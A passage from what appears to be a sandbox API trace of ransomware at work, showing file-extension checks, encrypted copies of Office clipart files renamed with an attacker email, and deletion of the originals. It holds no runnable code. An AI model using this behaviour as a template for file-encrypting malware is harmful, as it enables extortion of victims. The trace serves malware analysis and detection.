lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0151.340] lstrlenW (lpString=".dbf") returned 4 [0151.340] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0151.340] lstrlenW (lpString=".1cd") returned 4 [0151.340] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0151.340] lstrlenW (lpString=".jpg") returned 4 [0151.340] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0151.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0151.340] lstrlenW (lpString=".doc") returned 4 [0151.340] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.340] lstrlenW (lpString=".docx") returned 5 [0151.340] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0151.340] lstrlenW (lpString=".pdf") returned 4 [0151.340] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.340] lstrlenW (lpString=".xls") returned 4 [0151.340] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.340] lstrlenW (lpString=".xlsx") returned 5 [0151.340] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0151.341] lstrlenW (lpString=".ppt") returned 4 [0151.341] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0151.341] lstrlenW (lpString=".zip") returned 4 [0151.341] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.341] lstrlenW (lpString=".rar") returned 4 [0151.341] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.341] lstrlenW (lpString=".bz2") returned 4 [0151.341] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.341] lstrlenW (lpString=".7z") returned 3 [0151.341] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0151.341] lstrlenW (lpString=".dbf") returned 4 [0151.341] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0151.341] lstrlenW (lpString=".1cd") returned 4 [0151.341] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0151.341] lstrlenW (lpString=".jpg") returned 4 [0151.341] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.341] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0151.341] lstrlenW (lpString="AN01174_.WMF") returned 12 [0151.341] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01174_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d8 [0151.342] GetFileSizeEx (in: hFile=0x10d8, lpFileSize=0x2f8ff14 | out: lpFileSize=0x2f8ff14*=27858) returned 1 [0151.342] CloseHandle (hObject=0x10d8) returned 1 [0151.342] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01174_.wmf")) returned 0x220 [0151.342] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01174_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0151.342] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01174_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d8 [0151.342] SetFilePointerEx (in: hFile=0x10d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.342] SetFilePointerEx (in: hFile=0x10d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.342] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01174_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a8 [0151.342] GetLastError () returned 0x0 [0151.342] ReadFile (in: hFile=0x10d8, lpBuffer=0x39d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f8fecc, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesRead=0x2f8fecc*=0x6cd2, lpOverlapped=0x0) returned 1 [0151.366] WriteFile (in: hFile=0x10a8, lpBuffer=0x39d1020*, nNumberOfBytesToWrite=0x6ce0, lpNumberOfBytesWritten=0x2f8fc94, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesWritten=0x2f8fc94*=0x6ce0, lpOverlapped=0x0) returned 1 [0151.368] ReadFile (in: hFile=0x10d8, lpBuffer=0x39d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f8fecc, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesRead=0x2f8fecc*=0x0, lpOverlapped=0x0) returned 1 [0151.368] WriteFile (in: hFile=0x10a8, lpBuffer=0x39d1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f8fc94, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesWritten=0x2f8fc94*=0xec, lpOverlapped=0x0) returned 1 [0151.368] SetEndOfFile (hFile=0x10a8) returned 1 [0151.368] CloseHandle (hObject=0x10a8) returned 1 [0151.369] SetFilePointerEx (in: hFile=0x10d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.369] SetEndOfFile (hFile=0x10d8) returned 1 [0151.370] CloseHandle (hObject=0x10d8) returned 1 [0151.370] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0151.371] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01174_.wmf")) returned 1 [0151.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0151.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0151.371] lstrlenW (lpString=".doc") returned 4 [0151.371] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.371] lstrlenW (lpString=".docx") returned 5 [0151.371] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0151.371] lstrlenW (lpString=".pdf") returned 4 [0151.371] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.371] lstrlenW (lpString=".xls") returned 4 [0151.371] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.371] lstrlenW (lpString=".xlsx") returned 5 [0151.371] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0151.371] lstrlenW (lpString=".ppt") returned 4 [0151.371] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0151.371] lstrlenW (lpString=".zip") returned 4 [0151.371] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.371] lstrlenW (lpString=".rar") returned 4 [0151.371] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.371] lstrlenW (lpString=".bz2") returned 4 [0151.371] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.371] lstrlenW (lpString=".7z") returned 3 [0151.372] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0151.372] lstrlenW (lpString=".dbf") returned 4 [0151.372] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0151.372] lstrlenW (lpString=".1cd") returned 4 [0151.372] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0151.372] lstrlenW (lpString=".jpg") returned 4 [0151.372] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0151.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0151.372] lstrlenW (lpString=".doc") returned 4 [0151.372] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.372] lstrlenW (lpString=".docx") returned 5 [0151.372] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0151.372] lstrlenW (lpString=".pdf") returned 4 [0151.372] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.372] lstrlenW (lpString=".xls") returned 4 [0151.372] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.372] lstrlenW (lpString=".xlsx") returned 5 [0151.372] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0151.372] lstrlenW (lpString=".ppt") returned 4 [0151.372] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0151.372] lstrlenW (lpString=".zip") returned 4 [0151.372] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.372] lstrlenW (lpString=".rar") returned 4 [0151.372] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.372] lstrlenW (lpString=".bz2") returned 4 [0151.372] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.372] lstrlenW (lpString=".7z") returned 3 [0151.373] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0151.373] lstrlenW (lpString=".dbf") returned 4 [0151.373] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0151.373] lstrlenW (lpString=".1cd") returned 4 [0151.373] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0151.373] lstrlenW (lpString=".jpg") returned 4 [0151.373] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.373] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0151.373] lstrlenW (lpString="AN01251_.WMF") returned 12 [0151.373] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01251_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d8 [0151.373] GetFileSizeEx (in: hFile=0x10d8, lpFileSize=0x2f8ff14 | out: lpFileSize=0x2f8ff14*=2756) returned 1 [0151.373] CloseHandle (hObject=0x10d8) returned 1 [0151.373] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01251_.wmf")) returned 0x220 [0151.373] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01251_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0151.374] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01251_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d8 [0151.374] SetFilePointerEx (in: hFile=0x10d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.374] SetFilePointerEx (in: hFile=0x10d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.374] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01251_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a8 [0151.374] GetLastError () returned 0x0 [0151.374] ReadFile (in: hFile=0x10d8, lpBuffer=0x39d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f8fecc, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesRead=0x2f8fecc*=0xac4, lpOverlapped=0x0) returned 1 [0151.574] WriteFile (in: hFile=0x10a8, lpBuffer=0x39d1020*, nNumberOfBytesToWrite=0xad0, lpNumberOfBytesWritten=0x2f8fc94, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesWritten=0x2f8fc94*=0xad0, lpOverlapped=0x0) returned 1 [0151.575] ReadFile (in: hFile=0x10d8, lpBuffer=0x39d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f8fecc, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesRead=0x2f8fecc*=0x0, lpOverlapped=0x0) returned 1 [0151.576] WriteFile (in: hFile=0x10a8, lpBuffer=0x39d1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f8fc94, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesWritten=0x2f8fc94*=0xec, lpOverlapped=0x0) returned 1 [0151.576] SetEndOfFile (hFile=0x10a8) returned 1 [0151.576] CloseHandle (hObject=0x10a8) returned 1 [0151.577] SetFilePointerEx (in: hFile=0x10d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.577] SetEndOfFile (hFile=0x10d8) returned 1 [0151.578] CloseHandle (hObject=0x10d8) returned 1 [0151.578] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0151.578] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01251_.wmf")) returned 1 [0151.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0151.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0151.579] lstrlenW (lpString=".doc") returned 4 [0151.579] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.579] lstrlenW (lpString=".docx") returned 5 [0151.579] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0151.579] lstrlenW (lpString=".pdf") returned 4 [0151.579] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.579] lstrlenW (lpString=".xls") returned 4 [0151.579] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.579] lstrlenW (lpString=".xlsx") returned 5 [0151.579] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0151.579] lstrlenW (lpString=".ppt") returned 4 [0151.579] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0151.579] lstrlenW (lpString=".zip") returned 4 [0151.579] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.579] lstrlenW (lpString=".rar") returned 4 [0151.580] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.580] lstrlenW (lpString=".bz2") returned 4 [0151.580] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.580] lstrlenW (lpString=".7z") returned 3 [0151.581] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0151.581] lstrlenW (lpString=".dbf") returned 4 [0151.581] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0151.581] lstrlenW (lpString=".1cd") returned 4 [0151.581] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0151.581] lstrlenW (lpString=".jpg") returned 4 [0151.581] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0151.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0151.581] lstrlenW (lpString=".doc") returned 4 [0151.581] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.581] lstrlenW (lpString=".docx") returned 5 [0151.581] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0151.581] lstrlenW (lpString=".pdf") returned 4 [0151.581] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.581] lstrlenW (lpString=".xls") returned 4 [0151.581] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.581] lstrlenW (lpString=".xlsx") returned 5 [0151.581] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0151.581] lstrlenW (lpString=".ppt") returned 4 [0151.581] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0151.582] lstrlenW (lpString=".zip") returned 4 [0151.582] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.582] lstrlenW (lpString=".rar") returned 4 [0151.582] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.582] lstrlenW (lpString=".bz2") returned 4 [0151.582] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.582] lstrlenW (lpString=".7z") returned 3 [0151.582] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0151.582] lstrlenW (lpString=".dbf") returned 4 [0151.582] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0151.582] lstrlenW (lpString=".1cd") returned 4 [0151.582] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0151.582] lstrlenW (lpString=".jpg") returned 4 [0151.582] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.582] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0151.582] lstrlenW (lpString="AN04191_.WMF") returned 12 [0151.582] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04191_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d8 [0151.583] GetFileSizeEx (in: hFile=0x10d8, lpFileSize=0x2f8ff14 | out: lpFileSize=0x2f8ff14*=6636) returned 1 [0151.583] CloseHandle (hObject=0x10d8) returned 1 [0151.583] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04191_.wmf")) returned 0x220 [0151.583] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04191_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0151.583] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04191_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d8 [0151.583] SetFilePointerEx (in: hFile=0x10d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.583] SetFilePointerEx (in: hFile=0x10d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.584] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04191_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a8 [0151.584] GetLastError () returned 0x0 [0151.584] ReadFile (in: hFile=0x10d8, lpBuffer=0x39d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f8fecc, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesRead=0x2f8fecc*=0x19ec, lpOverlapped=0x0) returned 1 [0151.646] WriteFile (in: hFile=0x10a8, lpBuffer=0x39d1020*, nNumberOfBytesToWrite=0x19f0, lpNumberOfBytesWritten=0x2f8fc94, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesWritten=0x2f8fc94*=0x19f0, lpOverlapped=0x0) returned 1 [0151.647] ReadFile (in: hFile=0x10d8, lpBuffer=0x39d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f8fecc, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesRead=0x2f8fecc*=0x0, lpOverlapped=0x0) returned 1 [0151.647] WriteFile (in: hFile=0x10a8, lpBuffer=0x39d1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f8fc94, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesWritten=0x2f8fc94*=0xec, lpOverlapped=0x0) returned 1 [0151.647] SetEndOfFile (hFile=0x10a8) returned 1 [0151.648] CloseHandle (hObject=0x10a8) returned 1 [0151.649] SetFilePointerEx (in: hFile=0x10d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.649] SetEndOfFile (hFile=0x10d8) returned 1 [0151.650] CloseHandle (hObject=0x10d8) returned 1 [0151.650] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0151.650] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04191_.wmf")) returned 1 [0151.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68 [0151.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68 [0151.651] lstrlenW (lpString=".doc") returned 4 [0151.651] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.651] lstrlenW (lpString=".docx") returned 5 [0151.651] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0151.651] lstrlenW (lpString=".pdf") returned 4 [0151.651] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.651] lstrlenW (lpString=".xls") returned 4 [0151.651] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.651] lstrlenW (lpString=".xlsx") returned 5 [0151.651] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0151.651] lstrlenW (lpString=".ppt") returned 4 [0151.651] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68 [0151.651] lstrlenW (lpString=".zip") returned 4 [0151.651] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.651] lstrlenW (lpString=".rar") returned 4 [0151.651] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.651] lstrlenW (lpString=".bz2") returned 4 [0151.652] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.652] lstrlenW (lpString=".7z") returned 3 [0151.652] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68 [0151.652] lstrlenW (lpString=".dbf") returned 4 [0151.652] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.652] lstrlenW 